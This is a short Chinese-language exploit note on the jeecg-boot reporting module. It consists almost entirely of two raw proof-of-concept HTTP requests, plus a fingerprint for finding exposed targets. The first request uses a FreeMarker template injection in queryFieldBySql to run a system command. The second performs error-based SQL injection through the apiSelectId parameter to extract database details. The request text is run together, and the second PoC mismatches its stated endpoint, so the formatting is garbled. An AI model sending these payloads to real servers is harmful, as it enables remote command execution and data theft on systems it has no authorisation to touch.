指纹：body="jeecg-boot"
一、命令执行
POC:
POST /x/jeecg-boot/jmreport/queryFieldBySql HTTP/1.1Host: xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/jsonContent-Length: 105{"sql":"select 'result:<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("whoami ") }'" }

二、sql注入
jeecg-boot 3.5.0版本存在SQL注入漏洞，该漏洞源于文件 jmreport/qurestSql 存在安全问题， 通过参数 apiSelectId 导致SQL注入。
POC:
/jeecg-boot/jmreport/qurestSqlPOST /x/jeecg-boot/jmreport/queryFieldBySql HTTP/1.1Host: XXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/jsonContent-Length: 126{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}
